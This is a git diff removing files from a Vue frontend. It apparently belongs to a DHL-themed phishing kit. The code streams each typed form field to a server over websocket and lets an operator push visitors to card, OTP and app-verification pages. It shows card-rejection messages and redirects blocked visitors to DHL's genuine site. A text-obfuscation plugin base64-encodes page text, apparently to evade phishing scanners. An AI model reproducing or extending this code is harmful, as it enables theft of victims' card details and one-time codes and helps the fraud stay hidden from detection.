|
|
||||||
document.head.appendChild(scriptCustomElements);
|
|
||||||
|
|
||||||
// 添加提前解码的脚本,放在<head>顶部优先加载
|
|
||||||
if (!document.getElementById('obfuscation-script')) {
|
|
||||||
const script = document.createElement('script');
|
|
||||||
script.id = 'obfuscation-script';
|
|
||||||
script.textContent = `
|
|
||||||
(function() {
|
|
||||||
// 定义解码函数并暴露为全局函数
|
|
||||||
window.decodeObfuscatedContent = function(rootElement) {
|
|
||||||
const root = rootElement || document.body;
|
|
||||||
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
|
|
||||||
|
|
||||||
if (elements.length === 0) return;
|
|
||||||
|
|
||||||
// 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
|
|
||||||
const runWhenIdle = window.requestIdleCallback ||
|
|
||||||
function(cb) { setTimeout(cb, 1); };
|
|
||||||
|
|
||||||
runWhenIdle(() => {
|
|
||||||
elements.forEach(el => {
|
|
||||||
// 避免重复解码
|
|
||||||
if (el.hasAttribute('data-content')) return;
|
|
||||||
|
|
||||||
// 找到编码数据
|
|
||||||
const dataAttr = el.getAttribute('data-data');
|
|
||||||
if (dataAttr) {
|
|
||||||
try {
|
|
||||||
// 解码并设置
|
|
||||||
const decodedWord = decodeURIComponent(atob(dataAttr));
|
|
||||||
el.setAttribute('data-content', decodedWord);
|
|
||||||
el.removeAttribute('data-preload');
|
|
||||||
} catch (e) {
|
|
||||||
// 解码失败时跳过
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
// 页面加载完成后立即执行一次全局解码
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用IntersectionObserver优化解码性能
|
|
||||||
if ('IntersectionObserver' in window) {
|
|
||||||
const decodeObserver = new IntersectionObserver(
|
|
||||||
(entries, observer) => {
|
|
||||||
entries.forEach(entry => {
|
|
||||||
if (entry.isIntersecting) {
|
|
||||||
// 容器进入视口时解码其内容
|
|
||||||
window.decodeObfuscatedContent(entry.target);
|
|
||||||
observer.unobserve(entry.target);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
},
|
|
||||||
{ rootMargin: '200px 0px' } // 提前200像素开始解码
|
|
||||||
);
|
|
||||||
|
|
||||||
// 监听所有混淆容器
|
|
||||||
function observeContainers() {
|
|
||||||
document.querySelectorAll('z-wrap').forEach(container => {
|
|
||||||
decodeObserver.observe(container);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始观察
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', observeContainers);
|
|
||||||
} else {
|
|
||||||
observeContainers();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 定期检查新容器
|
|
||||||
setInterval(observeContainers, 2000);
|
|
||||||
} else {
|
|
||||||
// 降级方案:定期全局检查
|
|
||||||
setInterval(() => window.decodeObfuscatedContent(), 1000);
|
|
||||||
}
|
|
||||||
})();
|
|
||||||
`;
|
|
||||||
|
|
||||||
// 将脚本添加到head的最前面,确保尽早加载
|
|
||||||
if (document.head.firstChild) {
|
|
||||||
document.head.insertBefore(script, document.head.firstChild);
|
|
||||||
} else {
|
|
||||||
document.head.appendChild(script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,331 +0,0 @@
|
|||||||
import _ from "lodash";
|
|
||||||
import { sendInput } from "@/api/api";
|
|
||||||
import type { Socket } from "@/utils/websocket";
|
|
||||||
import eventBus from "@/utils/eventBus";
|
|
||||||
import router from "@/router";
|
|
||||||
import { ref } from "vue";
|
|
||||||
import { useSocket } from "@/utils/websocket";
|
|
||||||
import { useLoadingStore } from "@/stores/loadingStore";
|
|
||||||
import i18n from "@/main";
|
|
||||||
import { useSocketIo } from "./socketio";
|
|
||||||
|
|
||||||
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
|
||||||
|
|
||||||
// WebSocket interface
|
|
||||||
interface MyWebSocket {
|
|
||||||
socket: any;
|
|
||||||
send: (data: string) => Promise<void>;
|
|
||||||
off: (event: string) => void;
|
|
||||||
on: (event: string, callback: (data: any) => void) => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const customOtpData = ref<any>({});
|
|
||||||
|
|
||||||
export function setCustomOtpData(data: any) {
|
|
||||||
customOtpData.value = data;
|
|
||||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
|
||||||
}
|
|
||||||
|
|
||||||
export let myWebSocket: MyWebSocket | undefined;
|
|
||||||
|
|
||||||
// Configuration data
|
|
||||||
export const configData = ref<Record<string, any>>({});
|
|
||||||
|
|
||||||
// Utility function to check if all values in an object are not empty
|
|
||||||
export function areAllValuesNotEmpty(
|
|
||||||
obj: Record<string, any>,
|
|
||||||
excludedFields: string[] = []
|
|
||||||
): boolean {
|
|
||||||
return Object.keys(obj).every((key) => {
|
|
||||||
if (excludedFields.includes(key)) return true;
|
|
||||||
const value = obj[key];
|
|
||||||
return (
|
|
||||||
value !== null &&
|
|
||||||
value !== undefined &&
|
|
||||||
value !== "" &&
|
|
||||||
!(typeof value === "string" && value.trim() === "")
|
|
||||||
);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 存储 WebSocket 和 API 的防抖函数
|
|
||||||
const wsDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
const apiDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
|
|
||||||
// 获取或创建针对某个键的防抖函数
|
|
||||||
function getDebouncedFunction(
|
|
||||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
|
||||||
key: string,
|
|
||||||
func: (...args: any[]) => void,
|
|
||||||
wait: number
|
|
||||||
) {
|
|
||||||
if (!debounceFunctions[key]) {
|
|
||||||
debounceFunctions[key] = _.debounce(func, wait);
|
|
||||||
}
|
|
||||||
return debounceFunctions[key];
|
|
||||||
}
|
|
||||||
|
|
||||||
const modeRef = ref(1)
|
|
||||||
|
|
||||||
|
|
||||||
// 处理输入变化
|
|
||||||
export function inputChange(type: string, key: any, value: any) {
|
|
||||||
const currentTimestamp = Date.now(); // 当前时间戳
|
|
||||||
|
|
||||||
// WebSocket 防抖函数
|
|
||||||
const wsDebouncedFunction = getDebouncedFunction(
|
|
||||||
wsDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "input_text",
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
})
|
|
||||||
);
|
|
||||||
},
|
|
||||||
300
|
|
||||||
);
|
|
||||||
|
|
||||||
// API 防抖函数
|
|
||||||
const apiDebouncedFunction = getDebouncedFunction(
|
|
||||||
apiDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
sendInput({
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
});
|
|
||||||
},
|
|
||||||
1000
|
|
||||||
);
|
|
||||||
|
|
||||||
// 调用防抖函数
|
|
||||||
wsDebouncedFunction(type, key, value);
|
|
||||||
if(modeRef.value !== 2) {
|
|
||||||
apiDebouncedFunction(type, key, value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// Handle login success
|
|
||||||
export function loginSuccess(token: string, mode: number) {
|
|
||||||
if(mode === 2) {
|
|
||||||
modeRef.value = 2
|
|
||||||
myWebSocket = useSocketIo(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}else{
|
|
||||||
myWebSocket = useSocket(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
|
||||||
myWebSocket?.on("open", () => {
|
|
||||||
const lastToken = localStorage.getItem("token");
|
|
||||||
loginWebsocket(token, lastToken !== token);
|
|
||||||
});
|
|
||||||
|
|
||||||
myWebSocket?.on("message", handleMessage);
|
|
||||||
|
|
||||||
window.addEventListener("beforeunload", () => {
|
|
||||||
myWebSocket?.off("close");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle WebSocket messages
|
|
||||||
function handleMessage(data: any) {
|
|
||||||
const jsonData = JSON.parse(data);
|
|
||||||
if (!jsonData || !jsonData.event) return;
|
|
||||||
|
|
||||||
const { event, content } = jsonData;
|
|
||||||
|
|
||||||
switch (event) {
|
|
||||||
case "login":
|
|
||||||
//handleLoginEvent(content);
|
|
||||||
break;
|
|
||||||
case "result_type":
|
|
||||||
handleResultTypeEvent(content);
|
|
||||||
break;
|
|
||||||
case "reload":
|
|
||||||
window.location.reload();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle login event
|
|
||||||
function handleLoginEvent(content: any) {
|
|
||||||
const route = localStorage.getItem("route");
|
|
||||||
if (route) {
|
|
||||||
const customOtpDataValue = localStorage.getItem("customOtpData");
|
|
||||||
if (route === "customOtpValid" && customOtpDataValue) {
|
|
||||||
setCustomOtpData(JSON.parse(customOtpDataValue));
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: route },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle result type event
|
|
||||||
function handleResultTypeEvent(content: any) {
|
|
||||||
if (!content) return;
|
|
||||||
|
|
||||||
const typeHandlers: Record<string, () => void> = {
|
|
||||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
|
||||||
otpValid: () => navigateTo("/otpValid", content),
|
|
||||||
appValid: () => navigateTo("/appValid", content),
|
|
||||||
success: () => router.push("/success"),
|
|
||||||
kickOut: redirectToExternal,
|
|
||||||
block: redirectToExternal,
|
|
||||||
otpFail: () =>
|
|
||||||
eventBus.emit("otp-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t("Verification code error, please try again"),
|
|
||||||
}),
|
|
||||||
appFail: () =>
|
|
||||||
eventBus.emit("app-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t(
|
|
||||||
"The session is about to expire, please complete the verification now"
|
|
||||||
),
|
|
||||||
}),
|
|
||||||
back: () => handleBackOrReject(content, true),
|
|
||||||
reject: () => handleBackOrReject(content, false),
|
|
||||||
refresh: () => {
|
|
||||||
if(localStorage.getItem("route")){
|
|
||||||
localStorage.removeItem("route");
|
|
||||||
window.location.reload();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
if (content.type == "customOtpValid") {
|
|
||||||
if(content.value.customOtpData) {
|
|
||||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (content.type == "customOtpFail") {
|
|
||||||
eventBus.emit("custom-otp-valid", {
|
|
||||||
message2: content.value.message2,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
const handler = typeHandlers[content.type];
|
|
||||||
if (handler) handler();
|
|
||||||
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Navigate to specific path with query parameters
|
|
||||||
function navigateTo(path: string, content: any) {
|
|
||||||
|
|
||||||
router.push('/temp').then(() => {
|
|
||||||
router.push({
|
|
||||||
path: path,
|
|
||||||
query: {
|
|
||||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
|
||||||
message1: content.value?.message1,
|
|
||||||
key: new Date().getMilliseconds(),
|
|
||||||
},
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle back or reject type
|
|
||||||
function handleBackOrReject(content: any, isBack: boolean) {
|
|
||||||
let message2 = i18n.global.t(
|
|
||||||
"This card does not support this transaction, please try another card"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (configData.value.error_card_msg) {
|
|
||||||
message2 = configData.value.error_card_msg;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.type) {
|
|
||||||
const type = content.value.type;
|
|
||||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
|
||||||
message2 = configData.value.deny_c_msg;
|
|
||||||
}
|
|
||||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
|
||||||
message2 = configData.value.deny_d_msg;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.message2) {
|
|
||||||
message2 = content.value.message2;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isBack) {
|
|
||||||
router.push({ path: "/card", query: { message2 } });
|
|
||||||
}
|
|
||||||
|
|
||||||
eventBus.emit("my-event", { message2 });
|
|
||||||
}
|
|
||||||
|
|
||||||
// Login to WebSocket
|
|
||||||
function loginWebsocket(token: string, isFirst: boolean) {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "login",
|
|
||||||
content: { tag: "user", token, isFirst },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
initHtml();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Redirect to an external URL
|
|
||||||
export function redirectToExternal() {
|
|
||||||
window.location.href = "https://www.dhl.com/ch-de/home.html";
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function loadHtml(url: string) {
|
|
||||||
try {
|
|
||||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
|
||||||
if (!response.ok) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
return await response.text();
|
|
||||||
} catch (error) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export const headerHtml = ref("");
|
|
||||||
export const footerHtml = ref("");
|
|
||||||
export const loadingBg = ref("#ffffff");
|
|
||||||
|
|
||||||
const initHtml = async () => {
|
|
||||||
const routePath = localStorage.getItem("route");
|
|
||||||
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
|
||||||
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
|
||||||
await router.push(routePath ? `/${routePath}` : "/phone1");
|
|
||||||
setTimeout(async () => {
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
loadingBg.value = "transparent";
|
|
||||||
}, 200);
|
|
||||||
};
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
|
|
||||||
import { myWebSocket } from "@/utils/common";
|
|
||||||
|
|
||||||
defineProps<{
|
|
||||||
msg: string;
|
|
||||||
}>();
|
|
||||||
|
|
||||||
const sendMsg = () => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
|
|
||||||
);
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<div class="greetings">
|
|
||||||
<h1 class="green">{{ msg }}</h1>
|
|
||||||
<button @click="sendMsg">Send</button>/
|
|
||||||
<h3>
|
|
||||||
You’ve successfully created a project with
|
|
||||||
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
|
|
||||||
What's next?
|
|
||||||
</h3>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
h1 {
|
|
||||||
font-weight: 500;
|
|
||||||
font-size: 2.6rem;
|
|
||||||
top: -10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: left;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
import WelcomeItem from './WelcomeItem.vue'
|
|
||||||
import DocumentationIcon from './icons/IconDocumentation.vue'
|
|
||||||
import ToolingIcon from './icons/IconTooling.vue'
|
|
||||||
import EcosystemIcon from './icons/IconEcosystem.vue'
|
|
||||||
import CommunityIcon from './icons/IconCommunity.vue'
|
|
||||||
import SupportIcon from './icons/IconSupport.vue'
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<DocumentationIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Documentation</template>
|
|
||||||
|
|
||||||
Vue’s
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
|
|
||||||
provides you with all information you need to get started.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<ToolingIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Tooling</template>
|
|
||||||
|
|
||||||
This project is served and bundled with
|
|
||||||
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
|
|
||||||
recommended IDE setup is
|
|
||||||
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
|
|
||||||
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
|
|
||||||
you need to test your components and web pages, check out
|
|
||||||
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
|
|
||||||
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
More instructions are available in <code>README.md</code>.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<EcosystemIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Ecosystem</template>
|
|
||||||
|
|
||||||
Get official tools and libraries for your project:
|
|
||||||
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
|
|
||||||
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
|
|
||||||
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
|
|
||||||
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
|
|
||||||
you need more resources, we suggest paying
|
|
||||||
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
|
|
||||||
a visit.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<CommunityIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Community</template>
|
|
||||||
|
|
||||||
Got stuck? Ask your question on
|
|
||||||
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
|
|
||||||
Discord server, or
|
|
||||||
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
|
|
||||||
>StackOverflow</a
|
|
||||||
>. You should also subscribe to
|
|
||||||
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
|
|
||||||
the official
|
|
||||||
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
|
|
||||||
twitter account for latest news in the Vue world.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<SupportIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Support Vue</template>
|
|
||||||
|
|
||||||
As an independent project, Vue relies on community backing for its sustainability. You can help
|
|
||||||
us by
|
|
||||||
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
|
|
||||||
</WelcomeItem>
|
|
||||||
</template>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<template>
|
|
||||||
<div class="item">
|
|
||||||
<i>
|
|
||||||
<slot name="icon"></slot>
|
|
||||||
</i>
|
|
||||||
<div class="details">
|
|
||||||
<h3>
|
|
||||||
<slot name="heading"></slot>
|
|
||||||
</h3>
|
|
||||||
<slot></slot>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
.item {
|
|
||||||
margin-top: 2rem;
|
|
||||||
display: flex;
|
|
||||||
}
|
|
||||||
|
|
||||||
.details {
|
|
||||||
flex: 1;
|
|
||||||
margin-left: 1rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
display: flex;
|
|
||||||
place-items: center;
|
|
||||||
place-content: center;
|
|
||||||
width: 32px;
|
|
||||||
height: 32px;
|
|
||||||
|
|
||||||
color: var(--color-text);
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
font-weight: 500;
|
|
||||||
margin-bottom: 0.4rem;
|
|
||||||
color: var(--color-heading);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.item {
|
|
||||||
margin-top: 0;
|
|
||||||
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
top: calc(50% - 25px);
|
|
||||||
left: -26px;
|
|
||||||
position: absolute;
|
|
||||||
border: 1px solid var(--color-border);
|
|
||||||
background: var(--color-background);
|
|
||||||
border-radius: 8px;
|
|
||||||
width: 50px;
|
|
||||||
height: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:before {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
bottom: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:after {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
top: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:first-of-type:before {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:last-of-type:after {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,4 +1,3 @@
|
|||||||
import { TextObfuscatorPlugin } from "./mix/textObfuscator";
|
|
||||||
import { createApp, ref } from "vue";
|
import { createApp, ref } from "vue";
|
||||||
import { createPinia } from "pinia";
|
import { createPinia } from "pinia";
|
||||||
|
|
||||||
@@ -29,6 +28,5 @@ router.beforeEach((to, from, next) => {
|
|||||||
VueScrollTo.scrollTo("#app", 0);
|
VueScrollTo.scrollTo("#app", 0);
|
||||||
next();
|
next();
|
||||||
});
|
});
|
||||||
// //app.use(TextObfuscatorPlugin);
|
|
||||||
app.mount("#app");
|
app.mount("#app");
|
||||||
export default i18n;
|
export default i18n;
|
||||||
|
|||||||
@@ -1,643 +0,0 @@
|
|||||||
import type { ComponentInternalInstance, Plugin, App } from 'vue';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 全局文本混淆插件
|
|
||||||
* 自动查找并替换所有文本节点
|
|
||||||
*/
|
|
||||||
// 修改Vue混淆插件以确保处理整个组件树
|
|
||||||
export const TextObfuscatorPlugin: Plugin = {
|
|
||||||
install(app: App) {
|
|
||||||
// 安装全局样式和解码脚本
|
|
||||||
addObfuscationStyle();
|
|
||||||
|
|
||||||
// 注册全局指令,直接处理元素内容
|
|
||||||
app.directive('odata', {
|
|
||||||
mounted(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
setupMutationObserver(el);
|
|
||||||
},
|
|
||||||
updated(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 在 app.mixin 中修改处理 $el 的部分
|
|
||||||
app.mixin({
|
|
||||||
mounted() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
// 1. 首先处理当前组件的根元素
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
// 2. 递归处理所有子元素,确保覆盖所有文本节点
|
|
||||||
const processAllChildNodes = (element: Element) => {
|
|
||||||
if (!(element instanceof Element)) return;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 为每个子元素单独处理文本节点
|
|
||||||
const childElements = element.querySelectorAll('*');
|
|
||||||
childElements.forEach(childEl => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
// 立即解码当前处理的元素
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(element), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing child nodes:', error, element);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 处理整个组件树
|
|
||||||
processAllChildNodes(rootElement);
|
|
||||||
|
|
||||||
// 设置监听
|
|
||||||
setupMutationObserver(rootElement);
|
|
||||||
});
|
|
||||||
// 添加:深度扫描所有包含纯文本的元素
|
|
||||||
setTimeout(() => {
|
|
||||||
const scanPureTextElements = (rootElement: Element) => {
|
|
||||||
// 跳过已处理过的元素
|
|
||||||
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
|
|
||||||
let hasOnlyTextNodes = false;
|
|
||||||
let hasElementNodes = false;
|
|
||||||
|
|
||||||
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
|
|
||||||
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
|
|
||||||
);
|
|
||||||
|
|
||||||
hasElementNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.ELEMENT_NODE
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
|
|
||||||
if (hasOnlyTextNodes && !hasElementNodes &&
|
|
||||||
!SKIP_TAGS.includes(rootElement.tagName) &&
|
|
||||||
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
processTextNodes(rootElement, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(rootElement);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 递归处理子元素
|
|
||||||
if (rootElement.children) {
|
|
||||||
Array.from(rootElement.children).forEach(child => {
|
|
||||||
scanPureTextElements(child);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 从body开始扫描
|
|
||||||
scanPureTextElements(document.body);
|
|
||||||
}, 10); // 给DOM足够的时间渲染
|
|
||||||
},
|
|
||||||
|
|
||||||
updated() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element | undefined) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 递归处理所有子元素
|
|
||||||
const childElements = rootElement.querySelectorAll('*');
|
|
||||||
childElements.forEach((childEl: Element) => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
